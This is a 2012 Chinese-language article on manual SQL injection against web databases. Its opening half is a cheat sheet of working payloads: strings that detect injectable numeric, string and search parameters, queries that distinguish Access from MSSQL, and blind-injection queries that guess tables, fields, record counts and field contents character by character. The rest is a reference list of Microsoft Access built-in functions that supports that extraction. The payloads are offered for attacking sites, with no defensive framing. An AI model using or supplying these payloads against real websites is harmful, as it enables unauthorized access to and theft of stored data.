手動數(shù)據(jù)庫注入
作者：佚名 時間：2012-09-20 分享到：
檢測注入類型:
1.數(shù)字型
and 1=1 //返回正常頁面
and 1=2 //返回錯誤頁面或者和1=1返回的頁面不同
2.字符型
' and 1=1 and ''=' //返回正常頁面
' and 1=2 and ''=' //返回錯誤頁面或者和1=1返回的頁面不同
3.搜索型
%' and 1=1 and '%'='% //返回正常頁面
%' and 1=2 and '%'='% //返回錯誤頁面或者和1=1返回的頁面不同
檢測數(shù)據(jù)庫類型:
and exists (select * from sysobjects) //數(shù)據(jù)庫判斷，報錯則為ACCESS,正常顯示為MSSQL
and exists (select * from msysobjects) //驗證IIS錯誤提示
ACCESS數(shù)據(jù)庫注射:
1.猜表
and exists (select * from [表名])
2.猜字段
and exists (select [字段名] from [表名])
3.猜表中的記錄數(shù)
and (select Count(1) from [表名] where 1=1) between num1 and num2
4.猜字段名長度
and (select top 1 len([字段名1]) from (Select Top 1 [字段名1],[字段名2],...,[字段名n] from [表名] where 1=1 order by [字段名1],[字段名2],...,[字段名n]) T order by [字段名1] desc,[字段名2] desc,...,[字段名n] desc ) between num1 and num2
5.猜字段名內(nèi)容
and (select top 1 asc(mid(cstr(字段名1),1,1)) from (Select Top 1 [字段名1],[字段名2],...,[字段名n] from [表名] where 1=1 order by [字段名1],[字段名2],...,[字段名n]) T order by [字段名1] desc,[字段名2] desc,...,[字段名n] desc ) between num1 and num2
ACCESS內(nèi)置常用函數(shù)
1.日期
CDate 將字符串轉(zhuǎn)化成為日期 select CDate("2005/4/5")
Date 返回當(dāng)前日期
DateAdd 將指定日期加上某個日期select dateAdd("d",30,Date())將當(dāng)前日期加上30天,其中d可以換為yyyy或H等
DateDiff 判斷兩個日期之間的間隔 select DateDiff("d","2006-5-1","2006-6-1")返回31,其中d可以換為yyyy,m,H等
DatePart 返回日期的某個部分 select DatePart("d","2006-5-1")返回1,即1號，d也可以換為yyyy或m
Day 返回日期的d部分,等同于datepart的d部分
Hour 返回日期的小時
IsDate 判斷是否是日期,是日期返回-1,不是日期返回0
Minute 返回日期的分鐘部分
Month 返回日期的月份部分
Now 返回當(dāng)前時間(完整時間，包括年月日 小時分秒)
Second 返回日期的秒部分
Time 返回當(dāng)前的時間部分(即除去年/月/日的部分)
Weekday 返回某個日期的當(dāng)前星期(星期天為1,星期一為2,星期二為3...)，例如select weekday(now());
Year 返回某個日期的年份
2.檢查
IsEmpty 檢測是否為空(不過經(jīng)測試，不管什么情況，都返回0)
IsNull 檢測是否為Null值，null值返回0，非null值返回-1
IsNumeric 檢測是否為數(shù)字,是數(shù)字返回-1，否則返回0
3.算術(shù)
Abs 絕對值
Atn 返正切值。
Cos 余弦值
Exp 返回 e 的給定次冪。
Fix 返回數(shù)字的整數(shù)部分(即小數(shù)部分完全截掉)
Int 將數(shù)字向下取整到最接近的整數(shù)。(其實等同于Fix)
Log 返回以E為底的對數(shù)值
Rnd 返回一個0到1之間的隨機(jī)數(shù)值
Sgn 返回數(shù)字的正負(fù)符號(正數(shù)返回1,負(fù)數(shù)返回-1,0值返回0)
Sin 正弦值
Sqr 返回平方根值
Tan 正切值
4.程序流程
Choose 根據(jù)第一參數(shù)，返回后面字符串組的值,Select Choose(1,"a","b","c")返回a,將1改成2后，返回b,改成3后，返回c(第一個參數(shù)也可以是某個字段)
IIF 根據(jù)表達(dá)式返回特定的值 Select IIF("3>1","OK","False")，返回OK
5.Sql合計函數(shù)
Avg 取字段平均值
Count 統(tǒng)計記錄條數(shù)
Max 取字段最大值
Min 取字段最小值
StDev 估算樣本的標(biāo)準(zhǔn)差（忽略樣本中的邏輯值和文本）。
StDevP 計算以參數(shù)形式（忽略邏輯值和文本）給出的整個樣本總體的標(biāo)準(zhǔn)偏差。
Sum 計算字段的總合
Var 估算樣本方差（忽略樣本中的邏輯值和文本）。
VarP 計算整個樣本總體的方差（忽略樣本總體中的邏輯值和文本）。
6.文本
Asc 返回字母的Acsii值，select Asc("A")返回65
Chr 將ascii值轉(zhuǎn)換到字符 select chr(65)返回"A"
Format 格式化字符串，Select Format(now(),'yyyy-mm-dd')返回類似于"2005-04-03" ,Select Format(3/9,"0.00")返回0.33
InStr 查詢子串在字符串中的位置 select Instr("abc","a")返回1,select Instr("abc","f")返回0
LCase 返回字符串的小寫形式
Left 左截取字符串
Len 返回字符串長度
LTrim 左截取空格
Mid 取得子字符串 select mid("123",1,2) as midDemo 返回12
Right 右截取字符串
RTrim 右截取空格
Space 產(chǎn)生空格 select Space(4)返回4個空格
StrComp 比較兩個字符串是否內(nèi)容一致(不區(qū)分大小寫)select StrComp("abc","ABC")返回0,select StrComp("abc","123")返回-1
Trim 截取字符串兩頭的空格
UCase 將字符串轉(zhuǎn)大寫
